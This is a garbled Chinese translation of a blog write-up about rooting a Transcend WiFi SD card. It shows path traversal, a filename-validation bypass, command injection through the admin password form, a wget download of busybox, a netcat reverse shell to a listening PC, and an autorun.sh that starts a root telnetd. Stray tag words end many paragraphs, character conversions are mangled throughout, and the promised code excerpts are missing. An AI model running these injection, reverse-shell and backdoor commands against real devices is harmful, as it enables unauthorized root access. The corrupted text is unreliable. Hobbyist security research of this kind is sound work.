創見WiFi SD卡破解之路

我最近搞了張Transcend WiFi SD,頗爲得意。它可讓我在幾秒鐘內將單反(奶昔,至關便攜)中拍攝的照片傳到任何支持wifi的設備上。我很喜歡在旅途中拍攝和分享圖片,因此對我而言,能夠無線傳輸圖片的SD卡是一個很好的解決方案。確實如此!(之後也是!)。不過移動應用程序能夠應該好好改進下(下載7MB的圖像僅僅爲了渲染?點擊下載後還要從新下載一遍!誰能告訴我這是爲何?),可是,嘿,它可以完成任務!javascript

這個小小的設備不只能夠存儲16GB數據(還有32GB版本),並且仍是一個嵌入式系統,可以運行應用程序,包括web服務器,和其餘wifi設備通信,甚至自建無線網絡——這個明顯的事實讓我和個人小夥伴都驚呆了!好了,不廢話了,進入主題:咱們能不能用這個設備作一些設計以外的事情呢?html

寫這篇文章的目的不可是爲了指出能夠用來root、越獄設備的漏洞,同時也是爲了展示摸索、利用漏洞的方法,其中的一些方法可能走不通,但其餘的或許會導向萬能的根用戶。java

準備Hax

我猜這張卡中存在着某種形式的嵌入式Linux系統。若是是這樣,擴展它的功能會很容易,可是,首先我須要取得系統的控制權。到如今爲止我只使用過和它配套的Android和iOS應用程序,不過很明顯,最簡單與電腦交互的方式是Web應用程序。下面的想法當即浮如今個人腦海中:程序員

若是移動應用程序很糟糕,那麼web應用和服務器確定也好不到哪裏去……也許它充滿了等待被利用的漏洞。web

孩子,我是對的!正則表達式

一旦你鏈接到Web服務器(卡片的IP是192.168.11.254,默認登陸admin/admin),你就會感覺到和使用手機app同樣糟糕的感受,「用戶體驗」很糟,「破解體驗」應該不錯。不少人使用scanners、fuzers之類的強力工具來探索漏洞,然而這個系統的安全性是如此之差,以致於我隨意摸索一番,就找到了能夠利用的漏洞。chrome

「Files」區域十分顯眼,它容許你瀏覽SD卡的內容。不幸的是,它不容許你進入SD卡根目錄的父目錄。果然如此?若是能夠進入父目錄就行了,咱們能夠了解系統的內部狀況,得到關於它的更多信息。若是咱們足夠幸運,甚至能夠經過Web界面運行一些指令。你會注意到指向「父目錄」的連接的URL是這樣的(%2F就是URL編碼格式中的斜槓字符「/」):shell

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

好了,讓咱們試着訪問/www,http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwwwsegmentfault

結果證實此路不通。訪問/、/bin、/etc、或任何其餘目錄都失敗了。:( 運氣不行。不過,話說回來,若是可行的話,那也太容易了!好吧,其實也沒那麼困難,程序員真是太粗心。導航欄中?dir=/www/sd/../../是同樣的效果,成功了!windows

哈,太尷尬了!貌似程序員只是確保路徑使用/WWW/SD起始,但沒有驗證父目錄的「../」。經過這種方式,咱們能夠瀏覽嵌入式系統中的任何文件。固然,點擊文件是不會執行它們的,只是下載而已,然而這已是一個巨大的成功了!

瀏覽文件系統、下載腳本以後,很明顯系統使用的是busybox,這在咱們的意料之中。因爲大多數二進制文件的大小是相同的,這暗示它們是指向busybox的軟連接。然而,許多不是軟連接,包括大多數在/WWW/cgi-bin目錄下的腳本。這些多是值得注意的,由於只需經過瀏覽器訪問它們就能夠運行。

開始Hax

看起來頗有但願!如今咱們能夠訪問內部系統,即便只是只讀模式,仍然給了咱們很大的便利,由於咱們可以研究和尋找能夠利用的漏洞。:)

檢查一些腳本,找到能夠被利用漏洞,沒有花掉多少時間。順便提一下,這些都是Perl腳本。Perl有一個很好的特性就是使用open()調用打開一個文件,由於若是open()的參數不是真正的文件路徑,而是以管道符結尾的shell命令的話,例如open("cat/etc/passwd |"),會執行程序。其餘濫用open()的手段包括在不一樣的位置寫一個新文件,或者覆蓋現有的文件,因此咱們能夠編寫本身的代碼並運行它。讓咱們來看看是否有文件能夠被利用。

有一個文件特別顯眼,由於它包含了一個含有用戶提供的變量的open()調用。kcard_upload.pl包含如下語句:

事實上,Web應用程序並無使用這個文件。kcard_upload.pl對用戶是隱藏的,但它仍然存在,在cgi-bin目錄下能夠訪問。咱們只需用瀏覽器指向它,就能夠運行。這真是雙倍的尷尬,一個未被使用的可被利用的腳本!可是它真的能夠被利用嗎?

經過閱讀kcard_upload.pl的代碼,我知道這裏存在三個利用變量$basename控制系統的挑戰:

首先,$basename不能直接被用戶使用,由於它是調用GetBasename($upfile)的結果。用戶(即,攻擊者)直接使用的是$upfile。更準確地說,它是你選擇上傳文件時HTML表單的路徑。可是,若是咱們提交了路徑,GetBasename將只返回路徑末尾的文件名,其他將被移除。這使遍歷目錄(如以前提到的../../技巧)不可行。

其次,$basename由腳本轉化爲大寫,因此不管咱們傳入什麼,都會被轉換爲大寫,這限制了可用的策略。

最後的挑戰是kcard_upload.pl的腳本只容許PNG,JPG,BMP,GIF格式的文件上傳。

因此這是一條死衚衕嗎?還沒那麼快!

若是你更仔細地查看代碼,你會意識到儘管程序員想要限制上傳文件的類型,然而他們只是檢查文件名是否包含這些擴展名,而不是是否以這些擴展名結束。

此外,這些正則表達式並無真正檢查是否包含.,由於在正則表達式中.能夠表明除了換行符之外的任意字符。.應該使用\轉義。我猜程序員想要的是/\.GIF$/,但結果寫成了/.GIF/,因此咱們只需在文件名的任意位置包含三字符組合就能夠繞過限制,例如/hi/helPNGlo/asdf.something。太方便了!

因爲咱們的路徑會被轉化成大寫,也許咱們就不能再調用任何系統命令(由於大部分都不是大寫),不過也許咱們仍然能夠上傳新的文件,也許是把咱們本身的腳本植入系統。咱們並不十分關心這些腳本的文件名是大寫仍是小寫。

最後,若是你還記得,咱們的路徑在保存到變量$basename以前,己經被GetBasename()轉化了。GetBasename()的功能是切分路徑,獲取最後的文件名。因此/path/to/file.txt會變成簡單的file.txt。這很糟,由於這意味着咱們不再能操縱路徑,不能使用相似「../../bin/our-malicious.script」的技巧,由於它最終會變爲「our-malicious.script」,而後保存在DCIM/198_WIFI/。:_(

圖片4

除非,GetBasename()包含一個能夠被利用的漏洞。:_)

基本上,這些代碼考慮了兩種狀況:用戶提供的路徑是由windows風格的反斜槓分隔,以及路徑由斜槓分隔(除去windows以外的任何OS)。或者說,這是這些代碼試圖作到的!這些代碼真正作的是,檢查路徑是否包含一個反斜槓,若是包含,那麼就斷定這是一個windows路徑(由於windows路徑使用反斜槓做分隔符),而後按照反斜槓分割路徑。它並不會真正檢查路徑是否由斜槓分隔。所以,考慮如下路徑:

/this/part/gets/discarded\/this/path/is/used

因爲這個路徑包含一個反斜槓(這是一個合法的字符),代碼會它認定它是一個windows路徑,所以咱們最終得到了一個不是真正的基本名的basename,它其實是一個路徑。在咱們的例子中,路徑將是:/this/path/is/used.

你看!相似/PNG/something\/../../our-malicious.script的路徑將繞過全部安全措施,以後寫入咱們選定的位置 B-) 這是個好消息。壞消息是這些不能真正生效。啊!這是由於腳本錯誤地假設../DCIM/198_WIFI存在,但因爲腳本從/WWW/cgi-bin運行,因此這個假設不成立(正確的路徑應該是../sd/DCIM/198_WIFI)。使人傷心的是咱們對此無能爲力。這個bug是硬編碼到腳本的。開發人員應該沒怎麼注意這一點,由於這個腳本並不打算提供給用戶使用。(記得嗎?它是隱藏的。)據我所知,儘管咱們作了花了很多功夫,這是一條死衚衕。:-( 不過也許有人能夠拿出一個創新的方案。

(此外,kcard_upload.pl輸出的表單並不調用自身,而是調用一個名爲wifi_upload二進制文件,所以咱們須要本身實現HTTP POST調用。)

Hax繼續

不過,注意看!咱們已經發現了代碼質量如此糟糕,所以確定還存在不少其餘的漏洞(若是你想更有想象力一點,我很確定kcard_upload.pl調用的/www/cgi-bin/wifi_upload工具,能夠經過棧溢出和堆溢出破解,由於代碼中有不少混亂的strcpy調用)。事實上,我沒有過多地檢查這些方面。還有一些我沒在這篇裏詳述的其餘死衚衕。我下面將詳述一個明顯的漏洞,很是容易利用:

從perl腳本直接調用shell命令有不少不一樣的方法,若是程序員粗枝大葉地使用不妥的方式調用shell命令,那麼也許咱們能夠運行本身的shell命令!使用perl腳本運行shell代碼的一個方法是使用system()調用。事實上,.pl.cgi文件使用了大量的system()調用,可是它們的參數都是硬編碼的,因此沒有太多的空間可供操縱或利用。另一種使用perl調用shell代碼的方法是使用qx{}表達式,可是代碼中沒有使用過這種方式。然而,第三種方式是使用反引號包圍shell代碼,至關於使用qX{}。事實上不少地方都使用了這種方式,並且shell代碼中也使用了用戶提供的輸入!這意味着他們的shell代碼混合了咱們的輸入,因此可能被用來運行咱們本身的代碼。

在kcard_save_config_insup.pl有一行給人的感受就像聖誕節:

該語句運行$update_auth指定的命令,將$LOGIN_USR$LOGIN_PWD做爲參數。這兩個參數直接來自一個表單,這意味着咱們能夠控制它們的值。沒有針對它們內容的檢查!更精確地說,這是當你進入Web界面,點擊「settings」時顯示的一個表單。你能夠經過http://192.168.11.254/kcardX120Xedit_config_insup.pl直接訪問這個表單。表單詢問的是管理員的用戶名和密碼。這意味着經過選擇一個恰當構造的密碼,咱們能夠執行代碼!首先,密碼必須包含一個分號,以便在$update_path命令執行後能夠開始執行一個新shell命令。而後它就能夠包含任何咱們想要的shell代碼。最後,密碼必須以#符號(代表後面的內容是註釋)結束,這樣後面的內容將被忽略(> /mnt/mtd/config/ia.passwd部分)。

這很容易測試,例如:admin; echo haxx > /tmp/hi.txt #

然而表單進行了合理性測試,它不會容許長密碼和奇怪的字符。因爲這些檢查是經過JavaScript來完成的,而不是在服務器端完成的,繞過它們太容易了。我使用Form Editor Chrome擴展來擺脫這些問題。

提交表單後,咱們能夠很容易地檢查漏洞是否有效,只需利用本文前面提到的漏洞訪問/tmp。咱們甚至能夠下載文件而後檢查其內容是否正確。 

記得將你的密碼恢復爲「admin」,不然利用完此漏洞後你須要經過出廠設置重設你的SD卡(固然重設不會影響到你的圖片)。

獲取root

目前爲止,咱們不只可以讀取嵌入式系統的文件系統中的任何文件,並且也能夠執行shell代碼,並寫入文件。不過,咱們仍然缺乏合適的shell訪問方式。

查看/usr/bin目錄中的內容,咱們能夠發現,這裏有不少可讓咱們製造反向shell的好東西:netcat(nc 二進制)、telnet,等等。反向shell是這樣工做的,經過咱們PC的一個特定端口監聽傳入的鏈接,把目標系統鏈接到它,運行一個shell,經過該鏈接獲取輸入,同時經過該鏈接打印全部輸出。創建反向shell的方法你用上全部的手指、腳趾也數不過來,不過最簡單的方法是調用netcat:

nc 192.168.11.11 1337 -e /bin/bash

這會讓netcat來鏈接咱們的電腦(被分配的IP爲192.168.11.11)的1337端口,而後將輸入傳給bash。固然,你必須使用先前所描述的漏洞來運行這個命令,將你的密碼改成admin NC 192.168.11.111337 -e /bin/bash #。不幸的是這根本不起做用。使用telnet或其餘工具的技巧也無效。爲何無效呢?nc、telnet和其餘工具的軟連接在/usr/bin目錄下,指令的語法是正確的!事實上,咱們親愛的SD卡內的嵌入式Linux禁用了這些busybox的功能!(咱們能夠嘗試調用telnet或netcat,將stdout和stderr重定向到/tmp/hi.txt來驗證一點,使用如下命令nc 192.168.11.111337 -e /bin/bash &\> /tmp/hi.txt。下載hi.txt之後,它的內容會是相似以下的內容:nc: applet not found。這意味着nc被禁用了。真噁心!咱們只能經過那個糟糕的表單運行命令,同時不能使用網絡工具嗎?固然不是!

碰巧的是,transcend腳本使用到了wget,所以wget是啓用的。它容許咱們下載另外一個完整的BusyBox二進制文件 :))) 我懶得本身編譯,因此我從http://busybox.net/downloads/binaries/latest/獲取了一個預編譯的busybox二進制文件。我把busybox-armv5l二進制文件放在我電腦上的本地web服務器上(個人SD卡沒有互聯網配置),因此我只是運行了wget http://192.168.11.11/busybox-armv5l,使用表單漏洞將它下載到SD卡的/www/cgi-bin目錄。我也運行了chmod a+x /www/cgi-bin/busybox-armv5l確保它隨後能夠運行。

最後,我獲得了個人遠程shell!運行nc -vv -l 1337個人電腦會監聽1337端口,運行/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash,SD卡在該端口上啓用shell。因爲下載的busybox二進制文件啓用了全部工具,咱們能夠經過遠程shell運行/www/cgi-bin/busybox-armv5l <命令>得到更豐富的shell命令!例如,/www/cgi-bin/busybox-armv5l id告訴咱們,咱們已經已經以root身份在運行shell。

uid=0 gid=0

更多Hax

假如你忘記您的密碼,須要重設,你可使用SD卡的恢復出廠設置功能(SD卡中有一個特殊的圖片文件,一旦刪除,從新啓動後就會復位SD卡)。不過,你能夠恢復你的明文密碼,源於一個很是很是很是粗心的錯誤。這有一個「隱藏」的perl腳本,kcard_login.pl,負責最狂野的登陸過程。它從wsd.conf文件獲取密碼,而後提供瀏覽器驗證密碼的javascrip代碼。是的,你沒看錯。使用javascript進行驗證!

這意味着你只需將瀏覽器指向http://192.168.11.254/cgi-bin/kcardX156Xlogin.pl,而後查看頁面的源代碼就能夠以明文方式恢復你的密碼。密碼就在那兒。

(更新)感謝破解友好的後門

啓動時自動運行的腳本中,rcS會執行SD卡根目錄下的autorun.sh。這將簡化開發和破解,創見啊創見!。 

在個人SD卡的根目錄下,我有如下腳本(命名爲autorun.sh),此外還放了busybox-armv5l,這樣我就能夠簡單地telnet到系統:

cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &

因而,該卡通電後你就能夠登陸,完成啓動: 

盡享hacking之樂!:)


原文 Hacking Transcend WiFi SD Cards
翻譯 SegmentFault

相關文章
相關標籤/搜索